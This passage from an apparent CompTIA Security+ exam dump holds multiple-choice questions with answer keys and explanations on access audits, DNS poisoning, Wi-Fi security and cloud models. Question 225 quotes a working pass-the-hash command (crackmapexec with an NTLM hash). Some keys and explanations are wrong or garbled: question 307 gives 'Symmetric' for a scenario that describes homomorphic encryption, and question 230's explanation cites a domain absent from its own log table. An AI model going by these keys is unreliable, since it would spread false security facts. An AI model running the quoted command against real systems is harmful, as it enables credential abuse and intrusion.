- B. Configure the MDM software to enforce the use of PINs to access the phone. This option may enhance the security of the device, but it may not address the company's concern about data loss. PINs can be guessed or bypassed by attackers, and they do not protect data if the device is physically accessed.
- D. Perform a factory reset on the phone before installing the company's applications. This option may address the company's concern about data loss, but it may not address the employees' concern about personal data loss. A factory reset will erase all data on the device, including personal data, which may not be acceptable to employees.

According to CompTIA Security+ SY0-601 Exam Objectives 2.4 Given a scenario, implement secure systems design:

"MDM software is a type of remote asset-management software that runs from a central server1. It is used by businesses to optimize the functionality and security of their mobile devices, including smartphones and tablets2."

"FDE stands for full disk encryption, which is a method of encrypting all data on a device's storage3." References:

<https://www.comptia.org/certifications/security#examdetails>

<https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

<https://www.makeuseof.com/what-is-mobile-device-management-mdm-software/>

NEW QUESTION 221

- (Exam Topic 1)

As part of annual audit requirements, the security team performed a review of exceptions to the company policy that allows specific users the ability to use USB storage devices on their laptops. The review yielded the following results.

- The exception process and policy have been correctly followed by the majority of users
- A small number of users did not create tickets for the requests but were granted access
- All access had been approved by supervisors.
- Valid requests for the access sporadically occurred across multiple departments.
- Access, in most cases, had not been removed when it was no longer needed

Which of the following should the company do to ensure that appropriate access is not disrupted but unneeded access is removed in a reasonable time frame?

- A. Create an automated, monthly attestation process that removes access if an employee's supervisor denies the approval
- B. Remove access for all employees and only allow new access to be granted if the employee's supervisor approves the request
- C. Perform a quarterly audit of all user accounts that have been granted access and verify the exceptions with the management team
- D. Implement a ticketing system that tracks each request and generates reports listing which employees actively use USB storage devices

Answer: A

Explanation:

According to the CompTIA Security+ SY0-601 documents, the correct answer option is A. Create an automated, monthly attestation process that removes access if an employee's supervisor denies the approval12.

This option ensures that appropriate access is not disrupted but unneeded access is removed in a reasonable time frame by requiring supervisors to approve or deny the exceptions on a regular basis. It also reduces the manual workload of the security team and improves the compliance with the company policy.

NEW QUESTION 223

- (Exam Topic 1)

A security analyst is investigating a phishing email that contains a malicious document directed to the company's Chief Executive Officer (CEO). Which of the following should the analyst perform to understand the threat and retrieve possible IoCs?

- A. Run a vulnerability scan against the CEO's computer to find possible vulnerabilities
- B. Install a sandbox to run the malicious payload in a safe environment
- C. Perform a traceroute to identify the communication path

D. Use netstat to check whether communication has been made with a remote host

Answer: B

Explanation:

To understand the threat and retrieve possible Indicators of Compromise (IoCs) from a phishing email containing a malicious document, a security analyst should install a sandbox to run the malicious payload in a safe environment. References: CompTIA Security+ Certification Exam Objectives - 2.5 Given a scenario, analyze potential indicators to determine the type of attack. Study Guide: Chapter 5, page 209.

NEW QUESTION 224

- (Exam Topic 1)

The compliance team requires an annual recertification of privileged and non-privileged user access. However, multiple users who left the company six months ago still have access. Which of the following would have prevented this compliance violation?

- A. Account audits
- B. AUP
- C. Password reuse
- D. SSO

Answer: A

Explanation:

Account audits are periodic reviews of user accounts to ensure that they are being used appropriately and that access is being granted and revoked in accordance with the organization's policies and procedures. If the compliance team had been conducting regular account audits, they would have identified the users who left the company six months ago and ensured that their access was revoked in a timely manner. This would have prevented the compliance violation caused by these users still having access to the company's systems.

To prevent this compliance violation, the company should implement account audits. An account audit is a regular review of all user accounts to ensure that they are being used properly and that they are in compliance with the company's security policies. By conducting regular account audits, the company can identify inactive or unused accounts and remove access for those users. This will help to prevent compliance violations and ensure that only authorized users have access to the company's systems and data.

NEW QUESTION 225

- (Exam Topic 1)

During a forensic investigation, a security analyst discovered that the following command was run on a compromised host:

```
crackmapexec smb 192.168.10.232 -u localadmin -H 0A3CE8D07A46E5C51070F03593E0A5E6
```

Which of the following attacks occurred?

- A. Buffer overflow
- B. Pass the hash
- C. SQL injection
- D. Replay attack

Answer: B

Explanation:

Pass the hash is an attack technique that allows an attacker to authenticate to a remote server or service by using the hashed version of a user's password, rather than requiring the plaintext password

NEW QUESTION 226

- (Exam Topic 1)

Which of the following is a physical security control that ensures only the authorized user is present when gaining access to a secured area?

- A. A biometric scanner
- B. A smart card reader
- C. APKItoken
- D. A PIN pad

Answer: A

Explanation:

A biometric scanner uses physical characteristics such as fingerprints to identify an individual user. It is used to ensure that only the authorized user is present when gaining access to a secured area.

NEW QUESTION 230

- (Exam Topic 1)

A customer has reported that an organization's website displayed an image of a smiley (ace rather than the expected web page for a short time two days earlier. A security analyst reviews log tries and sees the following around the lime of the incident:

Website	Time	Name server	A record
CompTIA.org	8:10	names.comptia.org	192.168.1.10
CompTIA.org	9:00	names.comptia.org	192.168.1.10
CompTIA.org	9:30	ns.attacker.org	10.10.50.5
CompTIA.org	10:00	names.comptia.org	192.168.1.10

Which of the following is MOST likely occurring?

- A. Invalid trust chain
- B. Domain hijacking
- C. DNS poisoning

D. URL redirection

Answer: C

Explanation:

The log entry shows the IP address for "www.example.com" being changed to a different IP address, which is likely the result of DNS poisoning. DNS poisoning occurs when an attacker is able to change the IP address associated with a domain name in a DNS server's cache, causing clients to connect to the attacker's server instead of the legitimate server. References: CompTIA Security+ SY0-601 Exam Objectives: 3.2 Given a scenario, implement secure network architecture concepts.

NEW QUESTION 233

- (Exam Topic 1)

Which of the following authentication methods sends out a unique password to be used within a specific number of seconds?

- A. TOTP
- B. Biometrics
- C. Kerberos
- D. LDAP

Answer: A

Explanation:

Time-based One-Time Password (TOTP) is a type of authentication method that sends out a unique password to be used within a specific number of seconds. It uses a combination of a shared secret key and the current time to generate a one-time password. TOTP is commonly used for two-factor authentication (2FA) to provide an additional layer of security beyond just a username and password.

NEW QUESTION 235

- (Exam Topic 1)

An information security manager for an organization is completing a PCI DSS self-assessment for the first time. which of the is following MOST likely reason for this type of assessment?

- A. An international expansion project is currently underway.
- B. Outside consultants utilize this tool to measure security maturity.
- C. The organization is expecting to process credit card information.
- D. A government regulator has requested this audit to be completed

Answer: C

Explanation:

PCI DSS (Payment Card Industry Data Security Standard) is a set of security standards designed to ensure that all companies that accept, process, store, or transmit credit card information maintain a secure environment. Any organization that accepts credit card payments is required to comply with PCI DSS.

NEW QUESTION 240

- (Exam Topic 1)

A company is planning to install a guest wireless network so visitors will be able to access the Internet. The stakeholders want the network to be easy to connect to so time is not wasted during meetings. The WAPs are configured so that power levels and antennas cover only the conference rooms where visitors will attend meetings. Which of the following would BEST protect the company's internal wireless network against visitors accessing company resources?

- A. Configure the guest wireless network to be on a separate VLAN from the company's internal wireless network
- B. Change the password for the guest wireless network every month.
- C. Decrease the power levels of the access points for the guest wireless network.
- D. Enable WPA2 using 802.1X for logging on to the guest wireless network.

Answer: A

Explanation:

Configuring the guest wireless network on a separate VLAN from the company's internal wireless network will prevent visitors from accessing company resources. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 4

NEW QUESTION 245

- (Exam Topic 1)

A company recently experienced an attack during which its main website was Directed to the attacker's web server, allowing the attacker to harvest credentials from unsuspecting customers, Which of the following should the company implement to prevent this type of attack from occurring In the future?

- A. IPsec
- B. SSL/TLS
- C. ONSSEC
- D. SMIME

Answer: B

Explanation:

To prevent attacks where the main website is directed to the attacker's web server and allowing the attacker to harvest credentials from unsuspecting customers, the company should implement SSL/TLS (Secure Sockets Layer/Transport Layer Security) to encrypt the communication between the web server and the clients. This will prevent attackers from intercepting and tampering with the communication, and will also help to verify the identity of the web server to the clients.

NEW QUESTION 248

- (Exam Topic 1)

A major clothing company recently lost a large amount of proprietary information. The security officer must find a solution to ensure this never happens again. Which of the following is the BEST technical implementation to prevent this from happening again?

- A. Configure DLP solutions
- B. Disable peer-to-peer sharing
- C. Enable role-based
- D. Mandate job rotation
- E. Implement content filters

Answer: A

Explanation:

Data loss prevention (DLP) solutions can prevent the accidental or intentional loss of sensitive data. DLP tools can identify and protect sensitive data by classifying and categorizing it, encrypting it, or blocking it from being transferred outside the organization's network.

NEW QUESTION 252

- (Exam Topic 1)

An employee received multiple messages on a mobile device. The messages instructing the employee to pair the device to an unknown device. Which of the following BEST describes What a malicious person might be doing to cause this issue to occur?

- A. Jamming
- B. Bluesnarfing
- C. Evil twin
- D. Rogue access point

Answer: B

Explanation:

Bluesnarfing is a hacking technique that exploits Bluetooth connections to snatch data from a wireless device. An attacker can perform bluesnarfing when the Bluetooth function is on and your device is discoverable by other devices within range. In some cases, attackers can even make calls from their victim's phone.

NEW QUESTION 253

- (Exam Topic 1)

Which of the following BEST describes data streams that are compiled through artificial intelligence that provides insight on current cyberintrusions, phishing, and other malicious cyberactivity?

- A. Intelligence fusion
- B. Review reports
- C. Log reviews
- D. Threat feeds

Answer: A

Explanation:

Intelligence fusion is a process that involves aggregating and analyzing data from multiple sources, including artificial intelligence, to provide insight on current cyberintrusions, phishing, and other malicious cyberactivity.

References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Glossary, p. 767.

NEW QUESTION 258

- (Exam Topic 1)

An application owner reports suspicious activity on an internal financial application from various internal users within the past 14 days. A security analyst notices the following:

- Financial transactions were occurring during irregular time frames and outside of business hours by unauthorized users.
- Internal users in question were changing their passwords frequently during that time period.
- A jump box that several domain administrator users use to connect to remote devices was recently compromised.
- The authentication method used in the environment is NTLM.

Which of the following types of attacks is MOST likely being used to gain unauthorized access?

- A. Pass-the-hash
- B. Brute-force
- C. Directory traversal
- D. Replay

Answer: A

Explanation:

The suspicious activity reported by the application owner, combined with the recent compromise of the jump box and the use of NTLM authentication, suggests that an attacker is likely using a pass-the-hash attack to gain unauthorized access to the financial application. This type of attack involves stealing hashed passwords from memory and then using them to authenticate as the compromised user without needing to know the user's plaintext password. References:

CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 5

NEW QUESTION 263

- (Exam Topic 1)

Which of the following describes a maintenance metric that measures the average time required to troubleshoot and restore failed equipment?

- A. RTO
- B. MTBF
- C. MTTR

D. RPO

Answer: C

Explanation:

Mean Time To Repair (MTTR) is a maintenance metric that measures the average time required to troubleshoot and restore failed equipment. References: CompTIA Security+ Certification Exam Objectives 4.6 Explain the importance of secure coding practices. Study Guide: Chapter 7, page 323.

NEW QUESTION 265

- (Exam Topic 1)

Which of the following environment utilizes dummy data and is MOST to be installed locally on a system that allows to be assessed directly and modified easily with each build?

- A. Production
- B. Test
- C. Staging
- D. Development

Answer: D

Explanation:

The environment that utilizes dummy data and is most likely to be installed locally on a system that allows it to be assessed directly and modified easily with each build is the development environment. The development environment is used for developing and testing software and applications. It is typically installed on a local system, rather than on a remote server, to allow for easy access and modification. Dummy data can be used in the development environment to simulate real-world scenarios and test the software's functionality. References: <https://www.techopedia.com/definition/27561/development-environment>

NEW QUESTION 270

- (Exam Topic 1)

A security analyst has been tasked with creating a new WiFi network for the company. The requirements received by the analyst are as follows:

- Must be able to differentiate between users connected to WiFi
- The encryption keys need to change routinely without interrupting the users or forcing reauthentication
- Must be able to integrate with RADIUS
- Must not have any open SSIDs

Which of the following options BEST accommodates these requirements?

- A. WPA2-Enterprise
- B. WPA3-PSK
- C. 802.11n
- D. WPS

Answer: A

Explanation:

Detailed explanation

WPA2-Enterprise can accommodate all of the requirements listed. WPA2-Enterprise uses 802.1X authentication to differentiate between users, supports the use of RADIUS for authentication, and allows for the use of dynamic encryption keys that can be changed without disrupting the users or requiring reauthentication. Additionally, WPA2-Enterprise does not allow for open SSIDs.

References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 7: Securing Networks, p. 317

NEW QUESTION 271

- (Exam Topic 1)

An organization would like to remediate the risk associated with its cloud service provider not meeting its advertised 99.999% availability metrics. Which of the following should the organization consult for the exact requirements for the cloud provider?

- A. SLA
- B. BPA
- C. NDA
- D. MOU

Answer: A

Explanation:

The Service Level Agreement (SLA) is a contract between the cloud service provider and the organization that stipulates the exact requirements for the cloud provider. It outlines the level of service that the provider must deliver, including the minimum uptime percentage, support response times, and the remedies and penalties for failing to meet the agreed-upon service levels.

NEW QUESTION 275

- (Exam Topic 1)

A Chief Information Officer is concerned about employees using company-issued laptops to steal data when accessing network shares. Which of the following should the company implement?

- A. DLP
- B. CASB
- C. HIDS
- D. EDR
- E. UEFI

Answer: A

Explanation:

The company should implement Data Loss Prevention (DLP) to prevent employees from stealing data when accessing network shares. References:

➤ CompTIA Security+ Study Guide Exam SY0-601, Chapter 8

NEW QUESTION 279

- (Exam Topic 1)

Which of the following conditions impacts data sovereignty?

- A. Rights management
- B. Criminal investigations
- C. Healthcare data
- D. International operations

Answer: D

Explanation:

Data sovereignty refers to the legal concept that data is subject to the laws and regulations of the country in which it is located. International operations can impact data sovereignty as companies operating in multiple countries may need to comply with different laws and regulations. References:

➤ CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 5

NEW QUESTION 283

- (Exam Topic 1)

A backdoor was detected on the containerized application environment. The investigation detected that a zero-day vulnerability was introduced when the latest container image version was downloaded from a public registry. Which of the following is the BEST solution to prevent this type of incident from occurring again?

- A. Enforce the use of a controlled trusted source of container images
- B. Deploy an IPS solution capable of detecting signatures of attacks targeting containers
- C. Define a vulnerability scan to assess container images before being introduced on the environment
- D. Create a dedicated VPC for the containerized environment

Answer: A

Explanation:

Enforcing the use of a controlled trusted source of container images is the best solution to prevent incidents like the introduction of a zero-day vulnerability through container images from occurring again. References: CompTIA Security+ Study Guide by Emmett Dulaney, Chapter 11: Cloud Security, Container Security

NEW QUESTION 286

- (Exam Topic 1)

A company would like to provide flexibility for employees on device preference. However, the company is concerned about supporting too many different types of hardware. Which of the following deployment models will provide the needed flexibility with the GREATEST amount of control and security over company data and infrastructure?

- A. BYOD
- B. VDI
- C. COPE
- D. CYOD

Answer: D

Explanation:

Choose Your Own Device (CYOD) is a deployment model that allows employees to select from a predefined list of devices. It provides employees with flexibility in device preference while allowing the company to maintain control and security over company data and infrastructure. CYOD deployment model provides a compromise between the strict control provided by Corporate-Owned, Personally Enabled (COPE) deployment model and the flexibility provided by Bring Your Own Device (BYOD) deployment model. References: CompTIA Security+ Study Guide, Chapter 6: Securing Application, Data, and Host Security, 6.5 Implement Mobile Device Management, pp. 334-335

NEW QUESTION 289

- (Exam Topic 1)

Which of the following BEST describes the method a security analyst would use to confirm a file that is downloaded from a trusted security website is not altered in transit or corrupted using a verified checksum?

- A. Hashing
- B. Salting
- C. Integrity
- D. Digital signature

Answer: A

Explanation:

Hashing is a cryptographic function that produces a unique fixed-size output (i.e., hash value) from an input (i.e., data). The hash value is a digital fingerprint of the data, which means that if the data changes, so too does the hash value. By comparing the hash value of the downloaded file with the hash value provided by the security website, the security analyst can verify that the file has not been altered in transit or corrupted.

NEW QUESTION 294

- (Exam Topic 1)

An organization is concerned about hackers potentially entering a facility and plugging in a remotely accessible Kali Linux box. Which of the following should be the first lines of defense against such an attack? (Select TWO)

- A. MAC filtering
- B. Zero trust segmentation
- C. Network access control
- D. Access control vestibules
- E. Guards
- F. Bollards

Answer: CE

Explanation:

Network access control (NAC) is a technique that restricts access to a network based on the identity, role, device, location, or other criteria of the users or devices. NAC can prevent unauthorized or malicious devices from connecting to a network and accessing sensitive data or resources. Guards are physical security personnel who monitor and control access to a facility. Guards can prevent unauthorized or malicious individuals from entering a facility and plugging in a remotely accessible device.

NEW QUESTION 297

- (Exam Topic 1)

An enterprise has hired an outside security firm to facilitate penetration testing on its network and applications. The firm has agreed to pay for each vulnerability that is discovered. Which of the following BEST represents the type of testing that is being used?

- A. White-box
- B. Red-team
- C. Bug bounty
- D. Gray-box
- E. Black-box

Answer: C

Explanation:

Bug bounty is a type of testing in which an organization offers a reward or compensation to anyone who can identify vulnerabilities or security flaws in their network or applications. The outside security firm has agreed to pay for each vulnerability found, which is an example of a bug bounty program.

NEW QUESTION 298

- (Exam Topic 1)

Which of the following would MOST likely be identified by a credentialed scan but would be missed by an uncredentialed scan?

- A. Vulnerabilities with a CVSS score greater than 6.9.
- B. Critical infrastructure vulnerabilities on non-IP protocols.
- C. CVEs related to non-Microsoft systems such as printers and switches.
- D. Missing patches for third-party software on Windows workstations and servers.

Answer: D

Explanation:

An uncredentialed scan would miss missing patches for third-party software on Windows workstations and servers. A credentialed scan, however, can scan the registry and file system to determine the patch level of third-party applications. References: CompTIA Security+ Study Guide by Emmett Dulaney, Chapter 4: Identity and Access Management, The Importance of Credentialing Scans

NEW QUESTION 303

- (Exam Topic 1)

A business is looking for a cloud service provider that offers a la carte services, including cloud backups, VM elasticity, and secure networking. Which of the following cloud service provider types should business engage?

- A. A IaaS
- B. PaaS
- C. XaaS
- D. SaaS

Answer: A

Explanation:

Infrastructure as a Service (IaaS) providers offer a la carte services, including cloud backups, VM elasticity, and secure networking. With IaaS, businesses can rent infrastructure components such as virtual machines, storage, and networking from a cloud service provider. References: CompTIA Security+ Study Guide, pages 233-234

NEW QUESTION 306

- (Exam Topic 1)

Which of the following should a technician consider when selecting an encryption method for data that needs to remain confidential for a specific length of time?

- A. The key length of the encryption algorithm
- B. The encryption algorithm's longevity
- C. A method of introducing entropy into key calculations
- D. The computational overhead of calculating the encryption key

Answer: B

Explanation:

When selecting an encryption method for data that needs to remain confidential for a specific length of time, the longevity of the encryption algorithm should be

considered to ensure that the data remains secure for the required period. References: CompTIA Security+ Certification Exam Objectives - 3.2 Given a scenario, use appropriate cryptographic methods. Study Guide: Chapter 4, page 131.

NEW QUESTION 307

- (Exam Topic 1)

A financial institution would like to store its customer data in a cloud but still allow the data to be accessed and manipulated while encrypted. Doing so would prevent the cloud service provider from being able to decipher the data due to its sensitivity. The financial institution is not concerned about computational overheads and slow speeds. Which of the following cryptographic techniques would BEST meet the requirement?

- A. Asymmetric
- B. Symmetric
- C. Homomorphic
- D. Ephemeral

Answer: B

Explanation:

Symmetric encryption allows data to be encrypted and decrypted using the same key. This is useful when the data needs to be accessed and manipulated while still encrypted. References: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 6

NEW QUESTION 312

- (Exam Topic 1)

During an incident, a company's CIRT determines it is necessary to observe the continued network-based transactions between a callback domain and the malware running on an enterprise PC. Which of the following techniques would be BEST to enable this activity while reducing the risk of lateral spread and the risk that the adversary would notice any changes?

- A. Physically move the PC to a separate Internet point of presence.
- B. Create and apply microsegmentation rules,
- C. Emulate the malware in a heavily monitored DMZ segment
- D. Apply network blacklisting rules for the adversary domain

Answer: C

Explanation:

Emulating the malware in a heavily monitored DMZ segment is the best option for observing network-based transactions between a callback domain and the malware running on an enterprise PC. This approach provides an isolated environment for the malware to run, reducing the risk of lateral spread and detection by the adversary. Additionally, the DMZ can be monitored closely to gather intelligence on the adversary's tactics and techniques. References: CompTIA Security+ Study Guide, page 129

NEW QUESTION 314

- (Exam Topic 1)

A company's public-facing website, <https://www.organization.com>, has an IP address of 166.18.75.6. However, over the past hour the SOC has received reports of the site's homepage displaying incorrect information. A quick nslookup search shows <https://www.organization.com> is pointing to 151.191.122.115. Which of the following is occurring?

- A. DoS attack
- B. ARP poisoning
- C. DNS spoofing
- D. NXDOMAIN attack

Answer: C

Explanation:

The issue is DNS spoofing, where the DNS resolution has been compromised and is pointing to a malicious IP address. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 7

NEW QUESTION 317

- (Exam Topic 1)

The technology department at a large global company is expanding its Wi-Fi network infrastructure at the headquarters building Which of the following should be closely coordinated between the technology, cybersecurity, and physical security departments?

- A. Authentication protocol
- B. Encryption type
- C. WAP placement
- D. VPN configuration

Answer: C

Explanation:

WAP stands for wireless access point, which is a device that allows wireless devices to connect to a wired network using Wi-Fi or Bluetooth. WAP placement refers to where and how WAPs are installed in a building or area.

WAP placement should be closely coordinated between the technology, cybersecurity, and physical security departments because it affects several aspects of network performance and security, such as:

- Coverage: WAP placement determines how well wireless devices can access the network throughout the building or area. WAPs should be placed in locations that provide optimal signal strength and avoid interference from other sources.
- Capacity: WAP placement determines how many wireless devices can connect to the network simultaneously without affecting network speed or quality. WAPs should be placed in locations that balance network load and avoid congestion or bottlenecks.

➤ Security: WAP placement determines how vulnerable wireless devices are to eavesdropping or hacking attacks from outside or inside sources. WAPs should be placed in locations that minimize exposure to unauthorized access and maximize encryption and authentication methods.

NEW QUESTION 320

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